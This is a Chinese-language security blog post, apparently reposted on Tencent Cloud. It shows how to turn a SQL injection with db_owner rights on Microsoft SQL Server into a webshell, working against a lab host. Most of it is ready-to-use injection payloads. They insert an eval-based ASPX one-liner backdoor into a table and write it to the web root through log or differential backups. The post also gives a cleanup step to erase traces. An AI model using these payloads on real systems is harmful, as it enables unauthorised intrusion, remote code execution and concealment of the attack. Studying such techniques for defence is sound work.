前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Microsoft SQL Server手注之db_owner权限处理

Microsoft SQL Server手注之db_owner权限处理

作者头像
渗透攻击红队
发布2020-05-26 15:20:45
1.9K0
发布2020-05-26 15:20:45
举报
文章被收录于专栏:漏洞知识库漏洞知识库

前言

注入点:http://192.168.159.137/post.aspx

首先我配置了一下权限:(添加了一个新用户 saul,映射了 test 数据库,只有 db_ownerpublic权限)

加了一个单引号报错得到网站绝对路径:c:\inetpub\wwwroot\post.aspx

Log备份Getshell

LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式。

具体如何备份Mssql数据库参考这篇文章:https://www.cnblogs.com/huangtaiyu/p/5560980.html

代码语言:javascript
复制
;alter database test set RECOVERY FULL--
;create table cmd (a image)--
;backup log test to disk = 'c:/1.bak' with init--
;insert into cmd (a) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--
;backup log test to disk = 'c:\inetpub\wwwroot\saul.aspx'--
;drop table cmd--

1、修改数据库恢复为完整模式

代码语言:javascript
复制
admin' ;alter database test set RECOVERY FULL --

2、创建一张表:cmd,只有一个 a 列,类型为 image

代码语言:javascript
复制
admin ';create table cmd (a image) --

3、备份表到C:\1.bak

代码语言:javascript
复制
admin' ;backup log test to disk = 'c:/1.bak' with init --

4、插入一句话木马到 cmd 表里

代码语言:javascript
复制
admin';insert into cmd (a) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--

5、吧操作日志备份到网站根目录

代码语言:javascript
复制
admin ';backup log test to disk = 'c:\inetpub\wwwroot\saul.aspx' --

这个时候我们就得到了一个webshell:http://192.168.159.137/saul.aspx

写入成功记得擦屁股吧创建的表删了:

代码语言:javascript
复制
admin';drop table cmd--

最后用蚁剑连接:

成功 Getshell

差异备份Getshell(不推荐)

差异备份数据库得到webshell。在sql serverdbosa权限都有备份数据库权限,我们可以把数据库备份成aspx文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。

PS:差异备份有几率会导致网站挂掉!如果上面的LOG备份拿shell成功的话就尽量别用差异备份拿shell这种方法!具体为啥我也不知道。。。

代码语言:javascript
复制
1. backup database 库名 to disk = 'c:\bak.bak';--

2. create table [dbo].[test] ([cmd] [image]);--

3. insert into test(cmd) values('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--

4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

1、备份数据库

代码语言:javascript
复制
admin';backup database test to disk = 'c:\bak.bak';--

2、创建一张表

代码语言:javascript
复制
admin';create table [dbo].[test] ([cmd] [image]);--

3、写入webshell到表

代码语言:javascript
复制
admin';insert into test(cmd) values('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--

4、创建脚本文件

代码语言:javascript
复制
admin';backup database test to disk='c:\inetpub\wwwroot\saul1.aspx' WITH DIFFERENTIAL,FORMAT;--

这个时候就得到了webshell:http://192.168.159.137/saul1.aspx

由上图可见发现是503,我们上帝视角看看:

确实是写入成功的!就是内存有点大!是因为我们访问的日志过多导致的!我们重启一下服务器。。。

成功Getshell

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 SaulGoodman 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Log备份Getshell
    • 1、修改数据库恢复为完整模式
      • 2、创建一张表:cmd,只有一个 a 列,类型为 image
        • 3、备份表到C:\1.bak
          • 4、插入一句话木马到 cmd 表里
            • 5、吧操作日志备份到网站根目录
            • 差异备份Getshell(不推荐)
              • 1、备份数据库
                • 2、创建一张表
                  • 3、写入webshell到表
                    • 4、创建脚本文件
                    相关产品与服务
                    数据库
                    云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档